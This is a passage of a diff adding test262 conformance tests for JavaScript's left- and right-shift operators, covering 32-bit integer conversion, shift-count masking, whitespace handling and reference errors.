+if (67108863 << 29 !== -536870912) {
+ $ERROR('#955: 67108863 << 29 === -536870912. Actual: ' + (67108863 << 29));
+}
+
+
+if (134217727 << 29 !== -536870912) {
+ $ERROR('#956: 134217727 << 29 === -536870912. Actual: ' + (134217727 << 29));
+}
+
+
+if (268435455 << 29 !== -536870912) {
+ $ERROR('#957: 268435455 << 29 === -536870912. Actual: ' + (268435455 << 29));
+}
+
+
+if (536870911 << 29 !== -536870912) {
+ $ERROR('#958: 536870911 << 29 === -536870912. Actual: ' + (536870911 << 29));
+}
+
+
+if (1073741823 << 29 !== -536870912) {
+ $ERROR('#959: 1073741823 << 29 === -536870912. Actual: ' + (1073741823 << 29));
+}
+
+
+if (2147483647 << 29 !== -536870912) {
+ $ERROR('#960: 2147483647 << 29 === -536870912. Actual: ' + (2147483647 << 29));
+}
+
+
+if (0 << 30 !== 0) {
+ $ERROR('#961: 0 << 30 === 0. Actual: ' + (0 << 30));
+}
+
+
+if (1 << 30 !== 1073741824) {
+ $ERROR('#962: 1 << 30 === 1073741824. Actual: ' + (1 << 30));
+}
+
+
+if (3 << 30 !== -1073741824) {
+ $ERROR('#963: 3 << 30 === -1073741824. Actual: ' + (3 << 30));
+}
+
+
+if (7 << 30 !== -1073741824) {
+ $ERROR('#964: 7 << 30 === -1073741824. Actual: ' + (7 << 30));
+}
+
+
+if (15 << 30 !== -1073741824) {
+ $ERROR('#965: 15 << 30 === -1073741824. Actual: ' + (15 << 30));
+}
+
+
+if (31 << 30 !== -1073741824) {
+ $ERROR('#966: 31 << 30 === -1073741824. Actual: ' + (31 << 30));
+}
+
+
+if (63 << 30 !== -1073741824) {
+ $ERROR('#967: 63 << 30 === -1073741824. Actual: ' + (63 << 30));
+}
+
+
+if (127 << 30 !== -1073741824) {
+ $ERROR('#968: 127 << 30 === -1073741824. Actual: ' + (127 << 30));
+}
+
+
+if (255 << 30 !== -1073741824) {
+ $ERROR('#969: 255 << 30 === -1073741824. Actual: ' + (255 << 30));
+}
+
+
+if (511 << 30 !== -1073741824) {
+ $ERROR('#970: 511 << 30 === -1073741824. Actual: ' + (511 << 30));
+}
+
+
+if (1023 << 30 !== -1073741824) {
+ $ERROR('#971: 1023 << 30 === -1073741824. Actual: ' + (1023 << 30));
+}
+
+
+if (2047 << 30 !== -1073741824) {
+ $ERROR('#972: 2047 << 30 === -1073741824. Actual: ' + (2047 << 30));
+}
+
+
+if (4095 << 30 !== -1073741824) {
+ $ERROR('#973: 4095 << 30 === -1073741824. Actual: ' + (4095 << 30));
+}
+
+
+if (8191 << 30 !== -1073741824) {
+ $ERROR('#974: 8191 << 30 === -1073741824. Actual: ' + (8191 << 30));
+}
+
+
+if (16383 << 30 !== -1073741824) {
+ $ERROR('#975: 16383 << 30 === -1073741824. Actual: ' + (16383 << 30));
+}
+
+
+if (32767 << 30 !== -1073741824) {
+ $ERROR('#976: 32767 << 30 === -1073741824. Actual: ' + (32767 << 30));
+}
+
+
+if (65535 << 30 !== -1073741824) {
+ $ERROR('#977: 65535 << 30 === -1073741824. Actual: ' + (65535 << 30));
+}
+
+
+if (131071 << 30 !== -1073741824) {
+ $ERROR('#978: 131071 << 30 === -1073741824. Actual: ' + (131071 << 30));
+}
+
+
+if (262143 << 30 !== -1073741824) {
+ $ERROR('#979: 262143 << 30 === -1073741824. Actual: ' + (262143 << 30));
+}
+
+
+if (524287 << 30 !== -1073741824) {
+ $ERROR('#980: 524287 << 30 === -1073741824. Actual: ' + (524287 << 30));
+}
+
+
+if (1048575 << 30 !== -1073741824) {
+ $ERROR('#981: 1048575 << 30 === -1073741824. Actual: ' + (1048575 << 30));
+}
+
+
+if (2097151 << 30 !== -1073741824) {
+ $ERROR('#982: 2097151 << 30 === -1073741824. Actual: ' + (2097151 << 30));
+}
+
+
+if (4194303 << 30 !== -1073741824) {
+ $ERROR('#983: 4194303 << 30 === -1073741824. Actual: ' + (4194303 << 30));
+}
+
+
+if (8388607 << 30 !== -1073741824) {
+ $ERROR('#984: 8388607 << 30 === -1073741824. Actual: ' + (8388607 << 30));
+}
+
+
+if (16777215 << 30 !== -1073741824) {
+ $ERROR('#985: 16777215 << 30 === -1073741824. Actual: ' + (16777215 << 30));
+}
+
+
+if (33554431 << 30 !== -1073741824) {
+ $ERROR('#986: 33554431 << 30 === -1073741824. Actual: ' + (33554431 << 30));
+}
+
+
+if (67108863 << 30 !== -1073741824) {
+ $ERROR('#987: 67108863 << 30 === -1073741824. Actual: ' + (67108863 << 30));
+}
+
+
+if (134217727 << 30 !== -1073741824) {
+ $ERROR('#988: 134217727 << 30 === -1073741824. Actual: ' + (134217727 << 30));
+}
+
+
+if (268435455 << 30 !== -1073741824) {
+ $ERROR('#989: 268435455 << 30 === -1073741824. Actual: ' + (268435455 << 30));
+}
+
+
+if (536870911 << 30 !== -1073741824) {
+ $ERROR('#990: 536870911 << 30 === -1073741824. Actual: ' + (536870911 << 30));
+}
+
+
+if (1073741823 << 30 !== -1073741824) {
+ $ERROR('#991: 1073741823 << 30 === -1073741824. Actual: ' + (1073741823 << 30));
+}
+
+
+if (2147483647 << 30 !== -1073741824) {
+ $ERROR('#992: 2147483647 << 30 === -1073741824. Actual: ' + (2147483647 << 30));
+}
+
+
+if (0 << 31 !== 0) {
+ $ERROR('#993: 0 << 31 === 0. Actual: ' + (0 << 31));
+}
+
+
+if (1 << 31 !== -2147483648) {
+ $ERROR('#994: 1 << 31 === -2147483648. Actual: ' + (1 << 31));
+}
+
+
+if (3 << 31 !== -2147483648) {
+ $ERROR('#995: 3 << 31 === -2147483648. Actual: ' + (3 << 31));
+}
+
+
+if (7 << 31 !== -2147483648) {
+ $ERROR('#996: 7 << 31 === -2147483648. Actual: ' + (7 << 31));
+}
+
+
+if (15 << 31 !== -2147483648) {
+ $ERROR('#997: 15 << 31 === -2147483648. Actual: ' + (15 << 31));
+}
+
+
+if (31 << 31 !== -2147483648) {
+ $ERROR('#998: 31 << 31 === -2147483648. Actual: ' + (31 << 31));
+}
+
+
+if (63 << 31 !== -2147483648) {
+ $ERROR('#999: 63 << 31 === -2147483648. Actual: ' + (63 << 31));
+}
+
+
+if (127 << 31 !== -2147483648) {
+ $ERROR('#1000: 127 << 31 === -2147483648. Actual: ' + (127 << 31));
+}
+
+
+if (255 << 31 !== -2147483648) {
+ $ERROR('#1001: 255 << 31 === -2147483648. Actual: ' + (255 << 31));
+}
+
+
+if (511 << 31 !== -2147483648) {
+ $ERROR('#1002: 511 << 31 === -2147483648. Actual: ' + (511 << 31));
+}
+
+
+if (1023 << 31 !== -2147483648) {
+ $ERROR('#1003: 1023 << 31 === -2147483648. Actual: ' + (1023 << 31));
+}
+
+
+if (2047 << 31 !== -2147483648) {
+ $ERROR('#1004: 2047 << 31 === -2147483648. Actual: ' + (2047 << 31));
+}
+
+
+if (4095 << 31 !== -2147483648) {
+ $ERROR('#1005: 4095 << 31 === -2147483648. Actual: ' + (4095 << 31));
+}
+
+
+if (8191 << 31 !== -2147483648) {
+ $ERROR('#1006: 8191 << 31 === -2147483648. Actual: ' + (8191 << 31));
+}
+
+
+if (16383 << 31 !== -2147483648) {
+ $ERROR('#1007: 16383 << 31 === -2147483648. Actual: ' + (16383 << 31));
+}
+
+
+if (32767 << 31 !== -2147483648) {
+ $ERROR('#1008: 32767 << 31 === -2147483648. Actual: ' + (32767 << 31));
+}
+
+
+if (65535 << 31 !== -2147483648) {
+ $ERROR('#1009: 65535 << 31 === -2147483648. Actual: ' + (65535 << 31));
+}
+
+
+if (131071 << 31 !== -2147483648) {
+ $ERROR('#1010: 131071 << 31 === -2147483648. Actual: ' + (131071 << 31));
+}
+
+
+if (262143 << 31 !== -2147483648) {
+ $ERROR('#1011: 262143 << 31 === -2147483648. Actual: ' + (262143 << 31));
+}
+
+
+if (524287 << 31 !== -2147483648) {
+ $ERROR('#1012: 524287 << 31 === -2147483648. Actual: ' + (524287 << 31));
+}
+
+
+if (1048575 << 31 !== -2147483648) {
+ $ERROR('#1013: 1048575 << 31 === -2147483648. Actual: ' + (1048575 << 31));
+}
+
+
+if (2097151 << 31 !== -2147483648) {
+ $ERROR('#1014: 2097151 << 31 === -2147483648. Actual: ' + (2097151 << 31));
+}
+
+
+if (4194303 << 31 !== -2147483648) {
+ $ERROR('#1015: 4194303 << 31 === -2147483648. Actual: ' + (4194303 << 31));
+}
+
+
+if (8388607 << 31 !== -2147483648) {
+ $ERROR('#1016: 8388607 << 31 === -2147483648. Actual: ' + (8388607 << 31));
+}
+
+
+if (16777215 << 31 !== -2147483648) {
+ $ERROR('#1017: 16777215 << 31 === -2147483648. Actual: ' + (16777215 << 31));
+}
+
+
+if (33554431 << 31 !== -2147483648) {
+ $ERROR('#1018: 33554431 << 31 === -2147483648. Actual: ' + (33554431 << 31));
+}
+
+
+if (67108863 << 31 !== -2147483648) {
+ $ERROR('#1019: 67108863 << 31 === -2147483648. Actual: ' + (67108863 << 31));
+}
+
+
+if (134217727 << 31 !== -2147483648) {
+ $ERROR('#1020: 134217727 << 31 === -2147483648. Actual: ' + (134217727 << 31));
+}
+
+
+if (268435455 << 31 !== -2147483648) {
+ $ERROR('#1021: 268435455 << 31 === -2147483648. Actual: ' + (268435455 << 31));
+}
+
+
+if (536870911 << 31 !== -2147483648) {
+ $ERROR('#1022: 536870911 << 31 === -2147483648. Actual: ' + (536870911 << 31));
+}
+
+
+if (1073741823 << 31 !== -2147483648) {
+ $ERROR('#1023: 1073741823 << 31 === -2147483648. Actual: ' + (1073741823 << 31));
+}
+
+
+if (2147483647 << 31 !== -2147483648) {
+ $ERROR('#1024: 2147483647 << 31 === -2147483648. Actual: ' + (2147483647 << 31));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A5.1_T1.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A5.1_T1.js
new file mode 100644
index 000000000..49bdc5e7e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A5.1_T1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y uses ToInt32(ShiftExpression)
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A5.1_T1.js
+ * @description Checking boundary points
+ */
+
+//CHECK#1
+if (2147483648.1 << 0 !== -2147483648) {
+ $ERROR('#1: 2147483648.1 << 0 === -2147483648. Actual: ' + (2147483648.1 << 0));
+}
+
+//CHECK#2
+if (4294967296.1 << 0 !== 0) {
+ $ERROR('#2: 4294967296.1 << 0 === 0. Actual: ' + (4294967296.1 << 0));
+}
+
+//CHECK#3
+if (6442450944.1 << 0 !== -2147483648) {
+ $ERROR('#3: 6442450944.1 << 0 === -2147483648. Actual: ' + (6442450944.1 << 0));
+}
+
+//CHECK#4
+if (4294967295.1 << 0 !== -1) {
+ $ERROR('#4: 4294967295.1 << 0 === -1. Actual: ' + (4294967295.1 << 0));
+}
+
+//CHECK#5
+if (6442450943.1 << 0 !== 2147483647) {
+ $ERROR('#5: 6442450943.1 << 0 === 2147483647. Actual: ' + (6442450943.1 << 0));
+}
+
+//CHECK#6
+if (-2147483649.1 << 0 !== 2147483647) {
+ $ERROR('#6: -2147483649.1 << 0 === 2147483647. Actual: ' + (-2147483649.1 << 0));
+}
+
+//CHECK#7
+if (-4294967297.1 << 0 !== -1) {
+ $ERROR('#7: -4294967297.1 << 0 === -1. Actual: ' + (-4294967297.1 << 0));
+}
+
+//CHECK#8
+if (-6442450945.1 << 0 !== 2147483647) {
+ $ERROR('#8: -6442450945.1 << 0 === 2147483647. Actual: ' + (-6442450945.1 << 0));
+}
+
+//CHECK#9
+if (-4294967296.1 << 0 !== 0) {
+ $ERROR('#9: -4294967296.1 << 0 === 0 . Actual: ' + (-4294967296.1 << 0));
+}
+
+//CHECK#10
+if (-6442450944.1 << 0 !== -2147483648) {
+ $ERROR('#10: -6442450944.1 << 0 === -2147483648. Actual: ' + (-6442450944.1 << 0));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A5.2_T1.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A5.2_T1.js
new file mode 100644
index 000000000..689fe1203
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A5.2_T1.js
@@ -0,0 +1,330 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x << y uses ToUint32(AdditiveExpression) & 31
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A5.2_T1.js
+ * @description Checking distinct points
+ */
+
+//CHECK#1
+if (1 << -32.1 !== 1) {
+ $ERROR('#1: 1 << -32.1 === 1. Actual: ' + (1 << -32.1));
+}
+
+//CHECK#2
+if (1 << -31.1 !== 2) {
+ $ERROR('#2: 1 << -31.1 === 2. Actual: ' + (1 << -31.1));
+}
+
+//CHECK#3
+if (1 << -30.1 !== 4) {
+ $ERROR('#3: 1 << -30.1 === 4. Actual: ' + (1 << -30.1));
+}
+
+//CHECK#4
+if (1 << -29.1 !== 8) {
+ $ERROR('#4: 1 << -29.1 === 8. Actual: ' + (1 << -29.1));
+}
+
+//CHECK#5
+if (1 << -28.1 !== 16) {
+ $ERROR('#5: 1 << -28.1 === 16. Actual: ' + (1 << -28.1));
+}
+
+//CHECK#6
+if (1 << -27.1 !== 32) {
+ $ERROR('#6: 1 << -27.1 === 32. Actual: ' + (1 << -27.1));
+}
+
+//CHECK#7
+if (1 << -26.1 !== 64) {
+ $ERROR('#7: 1 << -26.1 === 64. Actual: ' + (1 << -26.1));
+}
+
+//CHECK#8
+if (1 << -25.1 !== 128) {
+ $ERROR('#8: 1 << -25.1 === 128. Actual: ' + (1 << -25.1));
+}
+
+//CHECK#9
+if (1 << -24.1 !== 256) {
+ $ERROR('#9: 1 << -24.1 === 256. Actual: ' + (1 << -24.1));
+}
+
+//CHECK#10
+if (1 << -23.1 !== 512) {
+ $ERROR('#10: 1 << -23.1 === 512. Actual: ' + (1 << -23.1));
+}
+
+//CHECK#11
+if (1 << -22.1 !== 1024) {
+ $ERROR('#11: 1 << -22.1 === 1024. Actual: ' + (1 << -22.1));
+}
+
+//CHECK#12
+if (1 << -21.1 !== 2048) {
+ $ERROR('#12: 1 << -21.1 === 2048. Actual: ' + (1 << -21.1));
+}
+
+//CHECK#13
+if (1 << -20.1 !== 4096) {
+ $ERROR('#13: 1 << -20.1 === 4096. Actual: ' + (1 << -20.1));
+}
+
+//CHECK#14
+if (1 << -19.1 !== 8192) {
+ $ERROR('#14: 1 << -19.1 === 8192. Actual: ' + (1 << -19.1));
+}
+
+//CHECK#15
+if (1 << -18.1 !== 16384) {
+ $ERROR('#15: 1 << -18.1 === 16384. Actual: ' + (1 << -18.1));
+}
+
+//CHECK#16
+if (1 << -17.1 !== 32768) {
+ $ERROR('#16: 1 << -17.1 === 32768. Actual: ' + (1 << -17.1));
+}
+
+//CHECK#17
+if (1 << -16.1 !== 65536) {
+ $ERROR('#17: 1 << -16.1 === 65536. Actual: ' + (1 << -16.1));
+}
+
+//CHECK#18
+if (1 << -15.1 !== 131072) {
+ $ERROR('#18: 1 << -15.1 === 131072. Actual: ' + (1 << -15.1));
+}
+
+//CHECK#19
+if (1 << -14.1 !== 262144) {
+ $ERROR('#19: 1 << -14.1 === 262144. Actual: ' + (1 << -14.1));
+}
+
+//CHECK#20
+if (1 << -13.1 !== 524288) {
+ $ERROR('#20: 1 << -13.1 === 524288. Actual: ' + (1 << -13.1));
+}
+
+//CHECK#21
+if (1 << -12.1 !== 1048576) {
+ $ERROR('#21: 1 << -12.1 === 1048576. Actual: ' + (1 << -12.1));
+}
+
+//CHECK#22
+if (1 << -11.1 !== 2097152) {
+ $ERROR('#22: 1 << -11.1 === 2097152. Actual: ' + (1 << -11.1));
+}
+
+//CHECK#23
+if (1 << -10.1 !== 4194304) {
+ $ERROR('#23: 1 << -10.1 === 4194304. Actual: ' + (1 << -10.1));
+}
+
+//CHECK#24
+if (1 << -9.1 !== 8388608) {
+ $ERROR('#24: 1 << -9.1 === 8388608. Actual: ' + (1 << -9.1));
+}
+
+//CHECK#25
+if (1 << -8.1 !== 16777216) {
+ $ERROR('#25: 1 << -8.1 === 16777216. Actual: ' + (1 << -8.1));
+}
+
+//CHECK#26
+if (1 << -7.1 !== 33554432) {
+ $ERROR('#26: 1 << -7.1 === 33554432. Actual: ' + (1 << -7.1));
+}
+
+//CHECK#27
+if (1 << -6.1 !== 67108864) {
+ $ERROR('#27: 1 << -6.1 === 67108864. Actual: ' + (1 << -6.1));
+}
+
+//CHECK#28
+if (1 << -5.1 !== 134217728) {
+ $ERROR('#28: 1 << -5.1 === 134217728. Actual: ' + (1 << -5.1));
+}
+
+//CHECK#29
+if (1 << -4.1 !== 268435456) {
+ $ERROR('#29: 1 << -4.1 === 268435456. Actual: ' + (1 << -4.1));
+}
+
+//CHECK#30
+if (1 << -3.1 !== 536870912) {
+ $ERROR('#30: 1 << -3.1 === 536870912. Actual: ' + (1 << -3.1));
+}
+
+//CHECK#31
+if (1 << -2.1 !== 1073741824) {
+ $ERROR('#31: 1 << -2.1 === 1073741824. Actual: ' + (1 << -2.1));
+}
+
+//CHECK#32
+if (1 << -1.1 !== -2147483648) {
+ $ERROR('#32: 1 << -1.1 === -2147483648. Actual: ' + (1 << -1.1));
+}
+
+//CHECK#33
+if (1 << 32.1 !== 1) {
+ $ERROR('#33: 1 << 32.1 === 1. Actual: ' + (1 << 32.1));
+}
+
+//CHECK#34
+if (1 << 33.1 !== 2) {
+ $ERROR('#34: 1 << 33.1 === 2. Actual: ' + (1 << 33.1));
+}
+
+//CHECK#35
+if (1 << 34.1 !== 4) {
+ $ERROR('#35: 1 << 34.1 === 4. Actual: ' + (1 << 34.1));
+}
+
+//CHECK#36
+if (1 << 35.1 !== 8) {
+ $ERROR('#36: 1 << 35.1 === 8. Actual: ' + (1 << 35.1));
+}
+
+//CHECK#37
+if (1 << 36.1 !== 16) {
+ $ERROR('#37: 1 << 36.1 === 16. Actual: ' + (1 << 36.1));
+}
+
+//CHECK#38
+if (1 << 37.1 !== 32) {
+ $ERROR('#38: 1 << 37.1 === 32. Actual: ' + (1 << 37.1));
+}
+
+//CHECK#39
+if (1 << 38.1 !== 64) {
+ $ERROR('#39: 1 << 38.1 === 64. Actual: ' + (1 << 38.1));
+}
+
+//CHECK#40
+if (1 << 39.1 !== 128) {
+ $ERROR('#40: 1 << 39.1 === 128. Actual: ' + (1 << 39.1));
+}
+
+//CHECK#41
+if (1 << 40.1 !== 256) {
+ $ERROR('#41: 1 << 40.1 === 256. Actual: ' + (1 << 40.1));
+}
+
+//CHECK#42
+if (1 << 41.1 !== 512) {
+ $ERROR('#42: 1 << 41.1 === 512. Actual: ' + (1 << 41.1));
+}
+
+//CHECK#43
+if (1 << 42.1 !== 1024) {
+ $ERROR('#43: 1 << 42.1 === 1024. Actual: ' + (1 << 42.1));
+}
+
+//CHECK#44
+if (1 << 43.1 !== 2048) {
+ $ERROR('#44: 1 << 43.1 === 2048. Actual: ' + (1 << 43.1));
+}
+
+//CHECK#45
+if (1 << 44.1 !== 4096) {
+ $ERROR('#45: 1 << 44.1 === 4096. Actual: ' + (1 << 44.1));
+}
+
+//CHECK#46
+if (1 << 45.1 !== 8192) {
+ $ERROR('#46: 1 << 45.1 === 8192. Actual: ' + (1 << 45.1));
+}
+
+//CHECK#47
+if (1 << 46.1 !== 16384) {
+ $ERROR('#47: 1 << 46.1 === 16384. Actual: ' + (1 << 46.1));
+}
+
+//CHECK#48
+if (1 << 47.1 !== 32768) {
+ $ERROR('#48: 1 << 47.1 === 32768. Actual: ' + (1 << 47.1));
+}
+
+//CHECK#49
+if (1 << 48.1 !== 65536) {
+ $ERROR('#49: 1 << 48.1 === 65536. Actual: ' + (1 << 48.1));
+}
+
+//CHECK#50
+if (1 << 49.1 !== 131072) {
+ $ERROR('#50: 1 << 49.1 === 131072. Actual: ' + (1 << 49.1));
+}
+
+//CHECK#51
+if (1 << 50.1 !== 262144) {
+ $ERROR('#51: 1 << 50.1 === 262144. Actual: ' + (1 << 50.1));
+}
+
+//CHECK#52
+if (1 << 51.1 !== 524288) {
+ $ERROR('#52: 1 << 51.1 === 524288. Actual: ' + (1 << 51.1));
+}
+
+//CHECK#53
+if (1 << 52.1 !== 1048576) {
+ $ERROR('#53: 1 << 52.1 === 1048576. Actual: ' + (1 << 52.1));
+}
+
+//CHECK#54
+if (1 << 53.1 !== 2097152) {
+ $ERROR('#54: 1 << 53.1 === 2097152. Actual: ' + (1 << 53.1));
+}
+
+//CHECK#55
+if (1 << 54.1 !== 4194304) {
+ $ERROR('#55: 1 << 54.1 === 4194304. Actual: ' + (1 << 54.1));
+}
+
+//CHECK#56
+if (1 << 55.1 !== 8388608) {
+ $ERROR('#56: 1 << 55.1 === 8388608. Actual: ' + (1 << 55.1));
+}
+
+//CHECK#57
+if (1 << 56.1 !== 16777216) {
+ $ERROR('#57: 1 << 56.1 === 16777216. Actual: ' + (1 << 56.1));
+}
+
+//CHECK#58
+if (1 << 57.1 !== 33554432) {
+ $ERROR('#58: 1 << 57.1 === 33554432. Actual: ' + (1 << 57.1));
+}
+
+//CHECK#59
+if (1 << 58.1 !== 67108864) {
+ $ERROR('#59: 1 << 58.1 === 67108864. Actual: ' + (1 << 58.1));
+}
+
+//CHECK#60
+if (1 << 59.1 !== 134217728) {
+ $ERROR('#60: 1 << 59.1 === 134217728. Actual: ' + (1 << 59.1));
+}
+
+//CHECK#61
+if (1 << 60.1 !== 268435456) {
+ $ERROR('#61: 1 << 60.1 === 268435456. Actual: ' + (1 << 60.1));
+}
+
+//CHECK#62
+if (1 << 61.1 !== 536870912) {
+ $ERROR('#62: 1 << 61.1 === 536870912. Actual: ' + (1 << 61.1));
+}
+
+//CHECK#63
+if (1 << 62.1 !== 1073741824) {
+ $ERROR('#63: 1 << 62.1 === 1073741824. Actual: ' + (1 << 62.1));
+}
+
+//CHECK#64
+if (1 << 63.1 !== -2147483648) {
+ $ERROR('#64: 1 << 63.1 === -2147483648. Actual: ' + (1 << 63.1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/browser.js b/js/src/tests/test262/ch11/11.7/11.7.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/browser.js
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/shell.js b/js/src/tests/test262/ch11/11.7/11.7.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/shell.js
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A1.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A1.js
new file mode 100644
index 000000000..086e03849
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between ShiftExpression and ">>" or between ">>" and AdditiveExpression are allowed
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("-4\u0009>>\u00091") !== -2) {
+ $ERROR('#1: -4\\u0009>>\\u00091 === -2');
+}
+
+//CHECK#2
+if (eval("-4\u000B>>\u000B1") !== -2) {
+ $ERROR('#2: -4\\u000B>>\\u000B1 === -2');
+}
+
+//CHECK#3
+if (eval("-4\u000C>>\u000C1") !== -2) {
+ $ERROR('#3: -4\\u000C>>\\u000C1 === -2');
+}
+
+//CHECK#4
+if (eval("-4\u0020>>\u00201") !== -2) {
+ $ERROR('#4: -4\\u0020>>\\u00201 === -2');
+}
+
+//CHECK#5
+if (eval("-4\u00A0>>\u00A01") !== -2) {
+ $ERROR('#5: -4\\u00A0>>\\u00A01 === -2');
+}
+
+//CHECK#6
+if (eval("-4\u000A>>\u000A1") !== -2) {
+ $ERROR('#6: -4\\u000A>>\\u000A1 === -2');
+}
+
+//CHECK#7
+if (eval("-4\u000D>>\u000D1") !== -2) {
+ $ERROR('#7: -4\\u000D>>\\u000D1 === -2');
+}
+
+//CHECK#8
+if (eval("-4\u2028>>\u20281") !== -2) {
+ $ERROR('#8: -4\\u2028>>\\u20281 === -2');
+}
+
+//CHECK#9
+if (eval("-4\u2029>>\u20291") !== -2) {
+ $ERROR('#9: -4\\u2029>>\\u20291 === -2');
+}
+
+//CHECK#10
+if (eval("-4\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029>>\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291") !== -2) {
+ $ERROR('#10: -4\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029>>\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291 === -2');
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.1_T1.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.1_T1.js
new file mode 100644
index 000000000..b036436d8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.1_T1.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y uses GetValue
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if (-4 >> 1 !== -2) {
+ $ERROR('#1: -4 >> 1 === -2. Actual: ' + (-4 >> 1));
+}
+
+//CHECK#2
+var x = -4;
+if (x >> 1 !== -2) {
+ $ERROR('#2: var x = -4; x >> 1 === -2. Actual: ' + (x >> 1));
+}
+
+//CHECK#3
+var y = 1;
+if (-4 >> y !== -2) {
+ $ERROR('#3: var y = 1; -4 >> y === -2. Actual: ' + (-4 >> y));
+}
+
+//CHECK#4
+var x = -4;
+var y = 1;
+if (x >> y !== -2) {
+ $ERROR('#4: var x = -4; var y = 1; x >> y === -2. Actual: ' + (x >> y));
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = -4;
+objecty.prop = 1;
+if (objectx.prop >> objecty.prop !== -2) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = -4; objecty.prop = 1; objectx.prop >> objecty.prop === -2. Actual: ' + (objectx.prop >> objecty.prop));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.1_T2.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.1_T2.js
new file mode 100644
index 000000000..107ac4ade
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y uses GetValue
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x >> 1;
+ $ERROR('#1.1: x >> 1 throw ReferenceError. Actual: ' + (x >> 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x >> 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.1_T3.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.1_T3.js
new file mode 100644
index 000000000..1ce6c6dd2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.1_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y uses GetValue
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 >> y;
+ $ERROR('#1.1: 1 >> y throw ReferenceError. Actual: ' + (1 >> y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 >> y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.2_T1.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.2_T1.js
new file mode 100644
index 000000000..3debe0ae1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.2_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y uses [[Default Value]]
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+if ({valueOf: function() {return -4}} >> 1 !== -2) {
+ $ERROR('#1: {valueOf: function() {return -4}} >> 1 === -2. Actual: ' + ({valueOf: function() {return -4}} >> 1));
+}
+
+//CHECK#2
+if ({valueOf: function() {return -4}, toString: function() {return 0}} >> 1 !== -2) {
